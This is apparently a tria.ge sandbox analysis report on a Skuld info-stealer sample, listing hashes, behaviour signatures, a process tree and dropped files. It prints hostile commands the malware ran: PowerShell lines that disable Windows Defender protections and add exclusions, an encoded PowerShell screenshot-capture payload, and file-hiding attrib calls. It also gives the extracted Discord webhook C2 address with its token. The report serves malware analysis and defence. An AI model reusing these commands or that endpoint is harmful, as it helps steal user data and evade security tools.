Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    9s
  • max time network
    5s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28/06/2024, 15:49

General

  • Target

    main.exe

  • Size

    9.5MB

  • MD5

    0577222f4607d307dbd8e296bfba4bcc

  • SHA1

    cc99671a69c02c65a9e65683215eff9ec4bccf24

  • SHA256

    fa68fb7b9b57f1ad358e829acee0b7db926d78a5f5a4434837fa96b4653c2cb7

  • SHA512

    709cdbf8ac69d1aa0b4cdaf390278e15d71e07f8df2557f5c143580917ae23060b307f8c197e5fb7c49071ecdad63f6226da9bd510069a6c36a0ba70ed3e9dab

  • SSDEEP

    98304:bV5Y4P6vQBpwXgOlx8UJEZMFdEMaMFQvpI3:sW6vQ8d8UJE+FOMKpI3

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1255141785198526518/HbSOi96D9xFWcHRfLUc1hVxDYiJ62EQpodIyKyp_rqp3Dh_0SCxyj3iTrpm92a_OBpFr

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\main.exe
    "C:\Users\Admin\AppData\Local\Temp\main.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\main.exe
      2⤵
      • Views/modifies file attributes
      PID:1184
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:1160
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4820
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:2692
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:4168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\main.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4136
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:3040
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:912
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:3512
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:2968
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:2352
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:2328
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of WriteProcessMemory
            PID:1060
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jdufreog\jdufreog.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:404
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5E1E.tmp" "c:\Users\Admin\AppData\Local\Temp\jdufreog\CSCD3340BEBEA84C9F91BCC35957F87BE.TMP"
                4⤵
                  PID:760

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            627073ee3ca9676911bee35548eff2b8

            SHA1

            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

            SHA256

            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

            SHA512

            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            1a9fa92a4f2e2ec9e244d43a6a4f8fb9

            SHA1

            9910190edfaccece1dfcc1d92e357772f5dae8f7

            SHA256

            0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

            SHA512

            5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            051a74485331f9d9f5014e58ec71566c

            SHA1

            4ed0256a84f2e95609a0b4d5c249bca624db8fe4

            SHA256

            3f67e4ba795fd89d33e9a1fe7547e297a82ae50b8f25eedc2b33a27866b28888

            SHA512

            1f15fd8ca727b198495ef826002c1cbcc63e98eecb2e92abff48354ae668e6c3aaf9bd3005664967ae75637bacee7e730ce36142483d08ae6a068d9ae3e0e17d

          • C:\Users\Admin\AppData\Local\Temp\RES5E1E.tmp

            Filesize

            1KB

            MD5

            11f541b4437128047345e3b6bf414c03

            SHA1

            926804ff7e9ddbebb706bcd66bcdf7471223dc2d

            SHA256

            d141982b40329ada6b4bda1ccc05a520d6b7d9deee1dfaa9e58e3d7a7f327cba

            SHA512

            43f846eff840c2fbb572f01c49f2d949386f8f1ba60d38dde5b379f54a5e570efe66a7eb4d80b927536894fdee7d22728f3450496e84f3463cd7ee24c61d438b

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hjxlmnt5.1tf.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\jdufreog\jdufreog.dll

            Filesize

            4KB

            MD5

            17dfe04bdb99de8a195ef15df90f17e7

            SHA1

            99d6ff2625684b90f467d5b270e60353732561e7

            SHA256

            e9cbf2be72c748099a2fa0ef63d6e8108a124865235d965e243b573f43d0738b

            SHA512

            6f5c533d96740695457ce24fbc949a077390ec3d51580da342a7e7338d986e0b5e542c8a3b1b707d6802192a091a0b7bcfdc842c550d506a935734b02be8801b

          • C:\Users\Admin\AppData\Local\Temp\rDaWZpefCM\Display (1).png

            Filesize

            406KB

            MD5

            6f6f7b0a921baa554b37360a7c9eed50

            SHA1

            ae9651e81d645167217ccac8129b81573b7cb48d

            SHA256

            536328c759815d9505f0fb9947880979500d14f971acfca9f2656804fdb93b88

            SHA512

            65b0c261f291deea67a7fc530f0f9aa25ed2cf6f1483f9efc8eab1c13d33d71e55c6925dd32b66507bc91dd84acb5ed7ed9c52c54ab0079b9658955990512c76

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            9.5MB

            MD5

            0577222f4607d307dbd8e296bfba4bcc

            SHA1

            cc99671a69c02c65a9e65683215eff9ec4bccf24

            SHA256

            fa68fb7b9b57f1ad358e829acee0b7db926d78a5f5a4434837fa96b4653c2cb7

            SHA512

            709cdbf8ac69d1aa0b4cdaf390278e15d71e07f8df2557f5c143580917ae23060b307f8c197e5fb7c49071ecdad63f6226da9bd510069a6c36a0ba70ed3e9dab

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\jdufreog\CSCD3340BEBEA84C9F91BCC35957F87BE.TMP

            Filesize

            652B

            MD5

            3ecd5457a7e32eb392272c7c86143f80

            SHA1

            1c05109a63f600ed3ea62fc38ebc70ca4d2e0fef

            SHA256

            23742ae9585e71f6a13f45e1ab68f36da3eadaca89ead60acf1ee4ada5e84f51

            SHA512

            f850f63894ec94af71702af32588d107c29be86b164d380fdcaabe26fc87ad4a52fb742ee3f4f6d0a25c7ff4ccc0dcae7841acc691e928043a297770f83ea4ac

          • \??\c:\Users\Admin\AppData\Local\Temp\jdufreog\jdufreog.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\jdufreog\jdufreog.cmdline

            Filesize

            607B

            MD5

            ad0dcd2abb6bd9bb3fd4ce592452ce8d

            SHA1

            f01192630306e9ae3d749d172efe45e9a1f0d1fd

            SHA256

            878f54d9996f0e9b1187e8286393cae3c4cf8318a9a251b61e06fa81e1dcb3fe

            SHA512

            0da836cf0292c1810b9fc5a567f30bc16198316ee73b32f43c566a9db20f536cc59acee6e8dc38f50b7381c862e45aa00cbd5d340aed8cbbe9ceb464a0dbc4a7

          • memory/1060-53-0x000001AAB5C20000-0x000001AAB5C28000-memory.dmp

            Filesize

            32KB

          • memory/4136-3-0x000002ECE7010000-0x000002ECE7032000-memory.dmp

            Filesize

            136KB